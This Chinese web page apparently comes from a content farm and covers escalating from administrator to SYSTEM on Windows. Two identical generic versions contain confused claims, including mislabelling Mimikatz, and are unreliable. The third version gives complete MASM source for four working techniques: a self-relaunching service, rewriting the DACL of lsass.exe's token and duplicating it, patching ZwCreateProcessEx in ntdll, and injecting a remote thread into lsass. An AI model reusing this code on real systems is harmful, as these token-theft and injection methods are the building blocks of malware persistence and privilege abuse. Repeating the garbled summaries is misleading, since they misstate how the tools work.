从管理员身份获得 SYSTEM 权限的四种方法 -电脑资料(最新3篇)

从管理员身份获得 SYSTEM 权限的四种方法 -电脑资料 篇一

在计算机系统中,管理员权限是最高权限之一。然而,有时候我们需要更高级的权限来执行一些任务,比如获取 SYSTEM 权限。在本篇文章中,我们将介绍四种方法来从管理员身份获得 SYSTEM 权限。

方法一:利用提权工具

一种常见的方法是使用提权工具来获取 SYSTEM 权限。这些工具通常会利用系统漏洞或者提供特权操作的机制来提升用户权限。其中一种常用的提权工具是“Mimikatz”,它能够提供 SYSTEM 权限的访问权限。通过运行这些工具,管理员可以获得 SYSTEM 权限并执行需要的操作。

方法二:利用系统服务

另一种方法是通过利用系统服务来获取 SYSTEM 权限。系统服务是在系统启动时自动运行的一组程序。管理员可以创建一个恶意系统服务,当系统启动时,该服务会以 SYSTEM 权限运行。通过这种方式,管理员可以获取 SYSTEM 权限并执行需要的操作。

方法三:利用系统进程

管理员可以利用系统进程来获取 SYSTEM 权限。系统进程是在系统启动时自动运行的一组核心程序。通过替换一个系统进程,管理员可以以 SYSTEM 权限运行自己的代码。这种方法需要对系统进程进行修改,因此需要慎重操作。

方法四:利用系统漏洞

最后一种方法是通过利用系统漏洞来获取 SYSTEM 权限。系统漏洞是系统中存在的安全漏洞,黑客可以利用这些漏洞来获取高级权限。管理员可以通过研究已知的漏洞并应用相应的修复程序来保护系统免受攻击。

总结

从管理员身份获得 SYSTEM 权限可以帮助管理员执行一些需要更高级权限的任务。然而,这些方法都需要管理员对计算机系统有深入的了解,并且需要慎重操作。为了保护系统的安全性,管理员应该定期更新系统补丁,并使用防火墙和安全软件来保护系统免受攻击。

从管理员身份获得 SYSTEM 权限的四种方法 -电脑资料 篇二

在计算机系统中,管理员权限是最高权限之一。然而,有时候我们需要更高级的权限来执行一些任务,比如获取 SYSTEM 权限。在本篇文章中,我们将介绍四种方法来从管理员身份获得 SYSTEM 权限。

方法一:利用提权工具

一种常见的方法是使用提权工具来获取 SYSTEM 权限。这些工具通常会利用系统漏洞或者提供特权操作的机制来提升用户权限。其中一种常用的提权工具是“Mimikatz”,它能够提供 SYSTEM 权限的访问权限。通过运行这些工具,管理员可以获得 SYSTEM 权限并执行需要的操作。

方法二:利用系统服务

另一种方法是通过利用系统服务来获取 SYSTEM 权限。系统服务是在系统启动时自动运行的一组程序。管理员可以创建一个恶意系统服务,当系统启动时,该服务会以 SYSTEM 权限运行。通过这种方式,管理员可以获取 SYSTEM 权限并执行需要的操作。

方法三:利用系统进程

管理员可以利用系统进程来获取 SYSTEM 权限。系统进程是在系统启动时自动运行的一组核心程序。通过替换一个系统进程,管理员可以以 SYSTEM 权限运行自己的代码。这种方法需要对系统进程进行修改,因此需要慎重操作。

方法四:利用系统漏洞

最后一种方法是通过利用系统漏洞来获取 SYSTEM 权限。系统漏洞是系统中存在的安全漏洞,黑客可以利用这些漏洞来获取高级权限。管理员可以通过研究已知的漏洞并应用相应的修复程序来保护系统免受攻击。

总结

从管理员身份获得 SYSTEM 权限可以帮助管理员执行一些需要更高级权限的任务。然而,这些方法都需要管理员对计算机系统有深入的了解,并且需要慎重操作。为了保护系统的安全性,管理员应该定期更新系统补丁,并使用防火墙和安全软件来保护系统免受攻击。

从管理员身份获得 SYSTEM 权限的四种方法 -电脑资料 篇三

本文总结了 4 种方法获得 SYSTEM 权限来运行 regedit.exe 文件,

源代码很容易修改成命令行方式运行指定的程序,

从管理员身份获得 SYSTEM 权限的四种方法

1. 以服务方式运行

2. 添加 ACL 的方法

3. HOOK ZwCreateProcessEx 函数

4. 远程线程的方法

这几种方法都不是我想出来的,我只不过是总结了一下,用 Win32ASM 重写了代码而以。

关于这个大家可以看文章末尾的参考资料。下面简单的分析每一种方法。

1. 以服务方式运行

因为以服务方式运行程序时,相当于运行程序的是系统进程,所以,

被指定运行的程序自然而然的继承了系统进程的权限,也就是 SYSTEM 权限。

;@echo off

;goto make

;====================================================================================

; 一块三毛钱

; http://zhongts.yeah.net

; zhongts@163.com

; 2005.1.15

;

; 以 SYSTEM 权限运行程序 - GetSys1

;

; 采用以服务方式运行的方法

;

;====================================================================================

.386

.model flat, stdcall

option casemap :none

include c:\masm32\include\windows.inc

include c:\masm32\include\kernel32.inc

include c:\masm32\include\advapi32.inc

include c:\masm32\include\masm32.inc

includelib c:\masm32\lib\kernel32.lib

includelib c:\masm32\lib\advapi32.lib

includelib c:\masm32\lib\masm32.lib

_ReLaunch proto

CTXT MACRO text

local lbl

.const

lbl db text,0

.code

exitm

ENDM

.code

start proc

LOCALstStartupInfo : STARTUPINFO

LOCALprocinfo : PROCESS_INFORMATION

invokeCreateMutex, NULL, TRUE, CTXT("GetSys1_Mutex")

invokeGetLastError

.if eax==ERROR_ALREADY_EXISTS

invokeRtlZeroMemory, addr stStartupInfo, sizeof stStartupInfo

movstStartupInfo.cb, sizeof stStartupInfo

invokeCreateProcess, 0, CTXT("regedit.exe"), 0, 0, 0, 0, 0, 0,

addr stStartupInfo, addr procinfo

invokeCloseHandle, procinfo.hProcess

invokeCloseHandle, procinfo.hThread

.else

invoke_ReLaunch

.endif

invokeExitProcess, NULL

start endp

_ReLaunch proc

LOCALhSCManager

LOCALhService

LOCALszName[MAX_PATH] : byte

invokeOpenSCManager, NULL, NULL, SC_MANAGER_CREATE_SERVICE

.if eax!=0

movhSCManager, eax

invokeOpenService, hSCManager, CTXT("GetSys1Temp"), DELETE

.if eax!=0

pusheax

invokeDeleteService, eax

callCloseServiceHandle

.endif

invokeGetModuleFileName, NULL, addr szName, MAX_PATH

invokeCreateService, hSCManager, CTXT("GetSys1Temp"), CTXT("GetSys1 Temp Service"), \

SERVICE_START + SERVICE_QUERY_STATUS + DELETE, \

SERVICE_WIN32_OWN_PROCESS + SERVICE_INTERACTIVE_PROCESS, SERVICE_DEMAND_START, \

SERVICE_ERROR_IGNORE, addr szName, NULL, NULL, NULL, NULL, NULL

.if eax!=0

movhService, eax

invokeStartService, hService, 0, NULL

invokeDeleteService, hService

invokeCloseServiceHandle, hService

.endif

invokeCloseServiceHandle, hSCManager

.endif

ret

_ReLaunch endp

end start

:make

set path=%path%;c:\masm32\bin

set appname=GetSys1

ml /nologo /c /coff %appname%.bat

link /nologo /subsystem:windows %appname%.obj

del %appname%.obj

echo.

pause

GetSys1(第一次运行的这个进程 GetSys1 我们称为 A) 开始运行时先创建一个互斥量,

接着以服务的方式重新启动自己

(又一次运行的进程 GetSys1 我们称为 B),重新运行后的 B 已经具有了 SYSTEM 权限。

B 再通过 CreateProcess 函数运行 regedit.exe 程序,

因为 B 具有 SYSTEM 权限,所以 regedit.exe 从中继承了 SYSTEM 权限。

运行完了 regedit.exe 后 B 结束运行,

然后 A 中的 StartService 函数返回,A 结束运行。就是因为 StartService 函数不会直接返回,

所以不能够直接通过服务的方式运行 regedit.exe。

2. 添加 ACL 的方法

主要思想是调用 CreateProcessAsUser 函数来运行程序,CreateProcessAsUser

函数的第一个参数是特定用户的令牌,

把这个参数设为具有 SYSTEM 权限的令牌即可。

;@echo off

;goto make

;====================================================================================

; 一块三毛钱

; http://zhongts.yeah.net

; zhongts@163.com

; 2005.1.15

;

; 以 SYSTEM 权限运行程序 - GetSys2

;

; 采用添加 ACL 的方法

;

;====================================================================================

.386

.model flat, stdcall

option casemap :none

include c:\masm32\include\windows.inc

include c:\masm32\include\kernel32.inc

include c:\masm32\include\advapi32.inc

include c:\masm32\include\accctrl.inc

include c:\masm32\include\masm32.inc

includelib c:\masm32\lib\kernel32.lib

includelib c:\masm32\lib\advapi32.lib

includelib c:\masm32\lib\masm32.lib

_EnablePrivilege proto :DWORD,:DWORD

_GetPidFromProcName proto :DWORD

_ModifySecurity proto :DWORD,:DWORD

CTXT MACRO text

local lbl

.const

lbl db text,0

.code

exitm

ENDM

ACL STRUCT

AclRevisionBYTE?

Sbz1BYTE?

AclSizeWORD?

AceCountWORD?

Sbz2WORD?

ACL ENDS

PACL typedef PTR ACL

SecurityImpersonationequ 2

.code

start proc

LOCALhProc

LOCALhToken, hNewToken

LOCALstStartupInfo : STARTUPINFO

LOCALprocinfo : PROCESS_INFORMATION

subeax, eax

movhProc, eax

movhToken, eax

movhNewToken, eax

invokeRtlZeroMemory, addr stStartupInfo, sizeof stStartupInfo

invokeRtlZeroMemory, addr procinfo, sizeof procinfo

invoke_EnablePrivilege, CTXT("SeDebugPrivilege"), TRUE

invoke_GetPidFromProcName, CTXT("lsass.exe")

invokeOpenProcess, PROCESS_QUERY_INFORMATION, 0, eax

testeax, eax

jz_exit

movhProc, eax

invokeOpenProcessToken, hProc, READ_CONTROL+WRITE_DAC, addr hToken

testeax, eax

jz_exit

invoke_ModifySecurity, hToken, TOKEN_ALL_ACCESS

testeax, eax

jz_exit

invokeCloseHandle, hToken

movhToken, 0

invokeOpenProcessToken, hProc, TOKEN_ALL_ACCESS, addr hToken

testeax, eax

jz_exit

invokeDuplicateTokenEx, hToken, TOKEN_ALL_ACCESS, 0,

SecurityImpersonation, TokenPrimary, addr hNewToken

testeax, eax

jz_exit

invokeImpersonateLoggedOnUser, hNewToken

testeax, eax

jz_exit

movstStartupInfo.cb, sizeof stStartupInfo

invokeCreateProcessAsUser, hNewToken, 0, CTXT("regedit.exe"), 0, 0, 0, 0, 0, 0,

addr stStartupInfo, addr procinfo

testeax, eax

jz_exit

invokeCloseHandle, procinfo.hProcess

invokeCloseHandle, procinfo.hThread

_exit:

.if hProc

invokeCloseHandle, hProc

.endif

.if hToken

invokeCloseHandle, hToken

.endif

.if hNewToken

invokeCloseHandle, hNewToken

.endif

invokeExitProcess, NULL

start endp

_ModifySecurity proc uses ebx esi edi, hToken:DWORD, dwAccess:DWORD

LOCALpSD, pAbsSD

LOCALdwSDLength

LOCALbDaclPresent, bDaclDefaulted

LOCALpAcl : PACL

LOCALpNewAcl : PACL

LOCALszName[1024] : BYTE

LOCALea : EXPLICIT_ACCESS

LOCALpSacl, pOwner, pPrimaryGroup

LOCALdwAclSize, dwSaclSize, dwOwnerSize, dwPrimaryGroup

LOCALbSuccess

subeax, eax

movpSD, eax

movpAbsSD, eax

movdwSDLength, eax

movbDaclPresent, eax

movbDaclDefaulted, eax

movpAcl, eax

movpNewAcl, eax

movpSacl, eax

movpOwner, eax

movpPrimaryGroup, eax

movdwAclSize, eax

movdwSaclSize, eax

movdwOwnerSize, eax

movdwPrimaryGroup, eax

movbSuccess, eax

invokeGetKernelObjectSecurity, hToken, DACL_SECURITY_INFORMATION, pSD, 0, addr dwSDLength

invokeLocalAlloc, LPTR, dwSDLength

testeax, eax

jz_exit

movpSD, eax

invokeGetKernelObjectSecurity, hToken, DACL_SECURITY_INFORMATION, pSD,

dwSDLength, addr dwSDLength

invokeGetSecurityDescriptorDacl, pSD, addr bDaclPresent, addr pAcl, addr bDaclDefaulted

moveax, sizeof szName

pusheax

invokeGetUserName, addr szName, esp

popeax

invokeBuildExplicitAccessWithName, addr ea, addr szName, dwAccess, GRANT_ACCESS, FALSE

invokeSetEntriesInAcl, 1, addr ea, pAcl, addr pNewAcl

cmpeax, ERROR_SUCCESS

jne_exit

invokeLocalFree, pAcl

movpAcl, 0

invokeMakeAbsoluteSD, pSD, pAbsSD, addr dwSDLength, pAcl, addr dwAclSize, pSacl, addr dwSaclSize, \

pOwner, addr dwOwnerSize, pPrimaryGroup, addr dwPrimaryGroup

invokeLocalAlloc, LPTR, dwSDLength

testeax, eax

jz_exit

movpAbsSD, eax

invokeLocalAlloc, LPTR, dwAclSize

testeax, eax

jz_exit

movpAcl, eax

invokeLocalAlloc, LPTR, dwSaclSize

testeax, eax

jz_exit

movpSacl, eax

invokeLocalAlloc, LPTR, dwOwnerSize

testeax, eax

jz_exit

movpOwner, eax

invokeLocalAlloc, LPTR, dwPrimaryGroup

testeax, eax

jz_exit

movpPrimaryGroup, eax

invokeMakeAbsoluteSD, pSD, pAbsSD, addr dwSDLength, pAcl, addr dwAclSize, pSacl, addr dwSaclSize, \

pOwner, addr dwOwnerSize, pPrimaryGroup, addr dwPrimaryGroup

invokeSetSecurityDescriptorDacl, pAbsSD, bDaclPresent, pNewAcl, bDaclDefaulted

invokeSetKernelObjectSecurity, hToken, DACL_SECURITY_INFORMATION, pAbsSD

movbSuccess, 1

_exit:

.if pSD

invokeLocalFree, pSD

.endif

.if pAcl

invokeLocalFree, pAcl

.endif

.if pNewAcl

invokeLocalFree, pNewAcl

.endif

.if pAbsSD

invokeLocalFree, pAbsSD

.endif

.if pSacl

invokeLocalFree, pSacl

.endif

.if pOwner

invokeLocalFree, pOwner

.endif

.if pPrimaryGroup

invokeLocalFree, pPrimaryGroup

.endif

moveax, bSuccess

ret

_ModifySecurity endp

_EnablePrivilege proc szPriv:DWORD, bFlags:DWORD

LOCALhToken

LOCALtkp : TOKEN_PRIVILEGES

invokeGetCurrentProcess

movedx, eax

invokeOpenProcessToken, edx, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr hToken

invokeLookupPrivilegeValue, NULL, szPriv, addr tkp.Privileges.Luid

movtkp.PrivilegeCount, 1

xoreax, eax

.if bFlags

moveax, SE_PRIVILEGE_ENABLED

.endif

movtkp.Privileges.Attributes, eax

invokeAdjustTokenPrivileges, hToken, FALSE, addr tkp, 0, 0, 0

pusheax

invokeCloseHandle, hToken

popeax

ret

_EnablePrivilege endp

_GetPidFromProcName proc lpProcName:DWORD

LOCALstProcess : PROCESSENTRY32

LOCALhSnapshot

LOCALdwProcessID

movdwProcessID, 0

invokeRtlZeroMemory, addr stProcess, sizeof stProcess

movstProcess.dwSize, sizeof stProcess

invokeCreateToolhelp32Snapshot, TH32CS_SNAPPROCESS, 0

movhSnapshot, eax

invokeProcess32First, hSnapshot, addr stProcess

.while eax

invokelstrcmpi, lpProcName, addr stProcess.szExeFile

.if eax==0

moveax, stProcess.th32ProcessID

movdwProcessID, eax

.break

.endif

invokeProcess32Next, hSnapshot, addr stProcess

.endw

invokeCloseHandle, hSnapshot

moveax, dwProcessID

ret

_GetPidFromProcName endp

end start

:make

set path=%path%;c:\masm32\bin

set appname=GetSys2

ml /nologo /c /coff %appname%.bat

link /nologo /subsystem:windows %appname%.obj

del %appname%.obj

echo.

pause

GetSys2 取得 lsass.exe 进程的令牌,缺省情况下操作这个令牌的权限很小,

所以需要先取得操作这个令牌的所有权限,

电脑资料

《从管理员身份获得 SYSTEM 权限的四种方法》()。这个任务由函数 _ModifySecurity 来完成。

有了权限后,复制一个主令牌,然后在当前线程中扮演 SYSTEM 用户,接着就可以调用 CreateProcessAsUser

函数运行 regedit.exe 程序了。有关安全性编程不清楚的地方可以参考[3]。

3. HOOK ZwCreateProcessEx 函数

有关这个[1]里面讲得很清楚了,下面直接给出源代码。

;@echo off

;goto make

;====================================================================================

; 一块三毛钱

; http://zhongts.yeah.net

; zhongts@163.com

; 2005.1.15

;

; 以 SYSTEM 权限运行程序 - GetSys3

;

; 采用 HOOK ZwCreateProcessEx 函数的方法

;

;====================================================================================

.386

.model flat, stdcall

option casemap :none

include c:\masm32\include\windows.inc

include c:\masm32\include\kernel32.inc

include c:\masm32\include\advapi32.inc

include c:\masm32\include\masm32.inc

includelib c:\masm32\lib\kernel32.lib

includelib c:\masm32\lib\advapi32.lib

includelib c:\masm32\lib\masm32.lib

_EnablePrivilege proto :DWORD,:DWORD

_GetPidFromProcName proto :DWORD

_HackedZwCreateProcessEx proto

CTXT MACRO text

local lbl

.const

lbl db text,0

.code

exitm

ENDM

ASMJMP struct

mov_eaxBYTE?

addressDWORD?

jmp_eaxWORD?

ASMJMP ends

.data?

g_hProc dd?

g_dwFuncdd?

.code

start proc

LOCALosvi : OSVERSIONINFO

LOCALlpAsmJmp

LOCALmbi : MEMORY_BASIC_INFORMATION

LOCALstStartupInfo : STARTUPINFO

LOCALprocinfo : PROCESS_INFORMATION

subeax, eax

movlpAsmJmp, eax

invokeRtlZeroMemory, addr osvi, sizeof osvi

invokeRtlZeroMemory, addr mbi, sizeof mbi

invokeRtlZeroMemory, addr stStartupInfo, sizeof stStartupInfo

invokeRtlZeroMemory, addr procinfo, sizeof procinfo

movosvi.dwOSVersionInfoSize, sizeof osvi

invokeGetVersionEx, addr osvi

cmposvi.dwMajorVersion, 5

jnz_exit

.if osvi.dwMinorVersion==1

movg_dwFunc, 30h

.elseif osvi.dwMinorVersion==2

movg_dwFunc, 32h

.endif

invoke_EnablePrivilege, CTXT("SeDebugPrivilege"), TRUE

invoke_GetPidFromProcName, CTXT("lsass.exe")

testeax, eax

jz_exit

invokeOpenProcess, PROCESS_CREATE_PROCESS, TRUE, eax

testeax, eax

jz_exit

movg_hProc, eax

invokeGetModuleHandle, CTXT("ntdll.dll")

movedx, eax

invokeGetProcAddress, edx, CTXT("ZwCreateProcessEx")

movlpAsmJmp, eax

invokeVirtualQuery, lpAsmJmp, addr mbi, sizeof mbi

pusheax

invokeVirtualProtect, mbi.AllocationBase, mbi.RegionSize, PAGE_EXECUTE_READWRITE, esp

popeax

movedi, lpAsmJmp

assumeedi : ptr ASMJMP

mov[edi].mov_eax, 0B8h

mov[edi].address, offset _HackedZwCreateProcessEx

mov[edi].jmp_eax, 0E0FFh

movstStartupInfo.cb, sizeof stStartupInfo

invokeCreateProcess, 0, CTXT("regedit.exe"),

0, 0, 0, 0, 0, 0, addr stStartupInfo, addr procinfo

testeax, eax

jz_exit

invokeCloseHandle, procinfo.hProcess

invokeCloseHandle, procinfo.hThread

_exit:

invokeExitProcess, NULL

start endp

_HackedZwCreateProcessEx proc

moveax, g_hProc

movdword ptr [esp+16], eax

moveax, g_dwFunc

leaedx, dword ptr [esp+4]

int2Eh

retn24h

_HackedZwCreateProcessEx endp

_EnablePrivilege proc szPriv:DWORD, bFlags:DWORD

LOCALhToken

LOCALtkp : TOKEN_PRIVILEGES

invokeGetCurrentProcess

movedx, eax

invokeOpenProcessToken, edx, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr hToken

invokeLookupPrivilegeValue, NULL, szPriv, addr tkp.Privileges.Luid

movtkp.PrivilegeCount, 1

xoreax, eax

.if bFlags

moveax, SE_PRIVILEGE_ENABLED

.endif

movtkp.Privileges.Attributes, eax

invokeAdjustTokenPrivileges, hToken, FALSE, addr tkp, 0, 0, 0

pusheax

invokeCloseHandle, hToken

popeax

ret

_EnablePrivilege endp

_GetPidFromProcName proc lpProcName:DWORD

LOCALstProcess : PROCESSENTRY32

LOCALhSnapshot

LOCALdwProcessID

movdwProcessID, 0

invokeRtlZeroMemory, addr stProcess, sizeof stProcess

movstProcess.dwSize, sizeof stProcess

invokeCreateToolhelp32Snapshot, TH32CS_SNAPPROCESS, 0

movhSnapshot, eax

invokeProcess32First, hSnapshot, addr stProcess

.while eax

invokelstrcmpi, lpProcName, addr stProcess.szExeFile

.if eax==0

moveax, stProcess.th32ProcessID

movdwProcessID, eax

.break

.endif

invokeProcess32Next, hSnapshot, addr stProcess

.endw

invokeCloseHandle, hSnapshot

moveax, dwProcessID

ret

_GetPidFromProcName endp

end start

:make

set path=%path%;c:\masm32\bin

set appname=GetSys3

ml /nologo /c /coff %appname%.bat

link /nologo /subsystem:windows %appname%.obj

del %appname%.obj

echo.

pause

4. 远程线程的方法

通过注入远程线程的方法来运行指定的 regedit.exe 程序,

也是相当于运行 regedit.exe 程序的是系统进程,

那么 regedit.exe 也就自然而然的继承了系统进程的 SYSTEM 权限。

;@echo off

;goto make

;====================================================================================

; 一块三毛钱

; http://zhongts.yeah.net

; zhongts@163.com

; 2005.1.15

;

; 以 SYSTEM 权限运行程序 - GetSys4

;

; 采用远程线程的方法

;

;====================================================================================

.386

.model flat, stdcall

option casemap :none

include c:\masm32\include\windows.inc

include c:\masm32\include\kernel32.inc

include c:\masm32\include\advapi32.inc

include c:\masm32\include\masm32.inc

includelib c:\masm32\lib\kernel32.lib

includelib c:\masm32\lib\advapi32.lib

includelib c:\masm32\lib\masm32.lib

_EnablePrivilege proto :DWORD,:DWORD

_GetPidFromProcName proto :DWORD

;下面两个宏来源于罗云彬的《Windows 环境下32位汇编程序设计》一书

reverseArgs macro arglist:VARARG

localtxt,count

txtTEXTEQU <>

count= 0

fori,

count= count + 1

txtTEXTEQU @CatStr(i,,<%txt>)

endm

ifcount GT 0

txtSUBSTRtxt,1,@SizeStr(%txt)-1

endif

exitmtxt

endm

_invoke macro _Proc,args:VARARG

localcount

count= 0

%fori,< reverseArgs( args ) >

count= count + 1

pushi

endm

calldword ptr _Proc

endm

CTXT MACRO text

local lbl

.const

lbl db text,0

.code

exitm

ENDM

.data?

g_hProcessdd?

g_lpRemoteCodedd?

.code

Remote_code_startequ this byte

g_lpGetModuleHandleAdd?

g_lpGetProcAddressdd?

g_szKernel32db"Kernel32.dll",0

g_szCreateProcessAdb"CreateProcessA",0

g_lpCreateProcessAdd?

g_szRegeditdb"Regedit.exe",0

g_szDesktopdb"WinSta0\Default",0

g_stStartupInfoSTARTUPINFO

g_procinfoPROCESS_INFORMATION

_RemoteThread proc

;int3

pushad

call@F

@@:

popebx

subebx, offset @B

leaeax, [ebx+g_szKernel32]

_invoke [ebx+g_lpGetModuleHandleA], eax

movesi, eax

leaeax, [ebx+g_szCreateProcessA]

_invoke [ebx+g_lpGetProcAddress], esi, eax

mov[ebx+g_lpCreateProcessA], eax

leaeax, [ebx+g_szDesktop]

leaecx, [ebx+g_stStartupInfo]

movdword ptr [ecx], sizeof g_stStartupInfo

movdword ptr [ecx+8], eax

leaeax, [ebx+g_szRegedit]

leaedx, [ebx+g_procinfo]

_invoke [ebx+g_lpCreateProcessA], 0, eax, 0, 0, 0, 0, 0, 0, ecx, edx

popad

ret

_RemoteThread endp

Remote_code_endequ this byte

Remote_code_lengthequ offset Remote_code_end - offset Remote_code_start

start proc

invokeGetModuleHandle, CTXT("kernel32.dll")

movebx, eax

invokeGetProcAddress, ebx, CTXT("GetModuleHandleA")

movg_lpGetModuleHandleA, eax

invokeGetProcAddress, ebx, CTXT("GetProcAddress")

movg_lpGetProcAddress, eax

invoke_EnablePrivilege, CTXT("SeDebugPrivilege"), TRUE

invoke_GetPidFromProcName, CTXT("lsass.exe")

invokeOpenProcess, PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE, FALSE, eax

.if eax

movg_hProcess, eax

invokeVirtualAllocEx, g_hProcess, NULL, Remote_code_length, MEM_COMMIT, PAGE_EXECUTE_READWRITE

.if eax

movg_lpRemoteCode, eax

invokeWriteProcessMemory, g_hProcess, g_lpRemoteCode,

offset Remote_code_start, Remote_code_length, NULL

moveax, g_lpRemoteCode

addeax, offset _RemoteThread - offset Remote_code_start

invokeCreateRemoteThread, g_hProcess, NULL, 0, eax, 0, 0, NULL

invokeCloseHandle, eax

.endif

invokeCloseHandle, g_hProcess

.endif

invokeExitProcess, NULL

start endp

_EnablePrivilege proc szPriv:DWORD, bFlags:DWORD

LOCALhToken

LOCALtkp : TOKEN_PRIVILEGES

invokeGetCurrentProcess

movedx, eax

invokeOpenProcessToken, edx, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr hToken

invokeLookupPrivilegeValue, NULL, szPriv, addr tkp.Privileges.Luid

movtkp.PrivilegeCount, 1

xoreax, eax

.if bFlags

moveax, SE_PRIVILEGE_ENABLED

.endif

movtkp.Privileges.Attributes, eax

invokeAdjustTokenPrivileges, hToken, FALSE, addr tkp, 0, 0, 0

pusheax

invokeCloseHandle, hToken

popeax

ret

_EnablePrivilege endp

_GetPidFromProcName proc lpProcName:DWORD

LOCALstProcess : PROCESSENTRY32

LOCALhSnapshot

LOCALdwProcessID

movdwProcessID, 0

invokeRtlZeroMemory, addr stProcess, sizeof stProcess

movstProcess.dwSize, sizeof stProcess

invokeCreateToolhelp32Snapshot, TH32CS_SNAPPROCESS, 0

movhSnapshot, eax

invokeProcess32First, hSnapshot, addr stProcess

.while eax

invokelstrcmpi, lpProcName, addr stProcess.szExeFile

.if eax==0

moveax, stProcess.th32ProcessID

movdwProcessID, eax

.break

.endif

invokeProcess32Next, hSnapshot, addr stProcess

.endw

invokeCloseHandle, hSnapshot

moveax, dwProcessID

ret

_GetPidFromProcName endp

end start

:make

set path=%path%;c:\masm32\bin

set appname=GetSys4

ml /nologo /c /coff %appname%.bat

link /nologo /subsystem:windows /section:.text,rwe %appname%.obj

del %appname%.obj

echo.

pause

这段代码也没什么好解释的,唯一一个要注意的地方就是调用 CreateProcess 函数时,lpStartupInfo

参数指向的 STARTUPINFO 结构成员 lpDesktop 需要明确的指定 WinSta0\Default 为运行桌面。

否则,程序 regedit.exe 运行后不知道跑到哪里去了。

参考资料

[1] scz MSDN系列(3)--Administrator用户直接获取SYSTEM权限

http://www.nsfocus.net/index.php?ac...ew&mid=1900

[2] wsu 1.0

http://www.BingleSite.net

[3] Keith Brown 《Windows 安全性编程》

[4] Token.Master

Jeffrey Richter/Jason D.Clark 《Programming.Server-Side.Applications.for.MS.Windows.2000

相关文章

2013年半年工作总结(通用6篇)

2013年半年工作总结 第一篇领导:您好!这次给你写信汇报最近一段时间的工作,距离上次已经又有两个星期的时间了,我给领导写的一份半年工作总结。我很高兴在这说长不长,说短不短的两周时间里,让我经历着无数...
工作总结2017-07-04
2013年半年工作总结(通用6篇)

新人上周工作总结范文(最新6篇)

新人上周工作总结范文 第一篇时间还是过的很快的,不知不觉我已经入职了一个星期了,这个星期我也学会了很多,我也开始融入了这个公司了,周围的同事都很平易近人,工作也开始慢慢的上手了。下面,是我对这个星期的...
工作总结2012-08-03
新人上周工作总结范文(最新6篇)

服务领班工作总结【通用6篇】

服务领班工作总结 第一篇一年来在公司的统一领导下,经过部门员工的共同努力,完成了公司的安排的各项工作任务,得到了业主的认可。保洁只不过是物业服务管理行业中的一个行当。它体现着行业单位的态洁形象,同时,...
工作总结2016-04-02
服务领班工作总结【通用6篇】

K-11 14号 王宝玲 高中三年每学期学习工作计划及总结(最新3篇)

每学期学习工作计划: 1、高一上半学期是一个初中走入高中的过渡时期。尽快适应高中生活,九科兼顾。这个时期最主要的目标是:积极适应各科老师的教学方法,迅速吸收新知识,扎实基础。同时稳住脚跟...
工作总结2012-01-03
K-11  14号  王宝玲   高中三年每学期学习工作计划及总结(最新3篇)

汽车销售年终工作总结(优秀6篇)

总结是事后对某一时期、某一项目或某些工作进行回顾和分析,从而做出带有规律性的结论,它可以促使我们思考,快快来写一份总结吧。那么如何把总结写出新花样呢?以下是小编精心整理的汽车销售年终工作总结范文,希望...
工作总结2012-08-05
汽车销售年终工作总结(优秀6篇)

劳动工作总结(精简6篇)

劳动工作总结 第一篇2018年我们劳动部、生活部的工作,在学生科及各位老师的关怀、指导下,在各班同学的支持配合下,圆满完成了学校交给的各项工作任务,为营造干净、舒适、文明、健康向上的校园文化氛围,维护...
工作总结2013-02-06
劳动工作总结(精简6篇)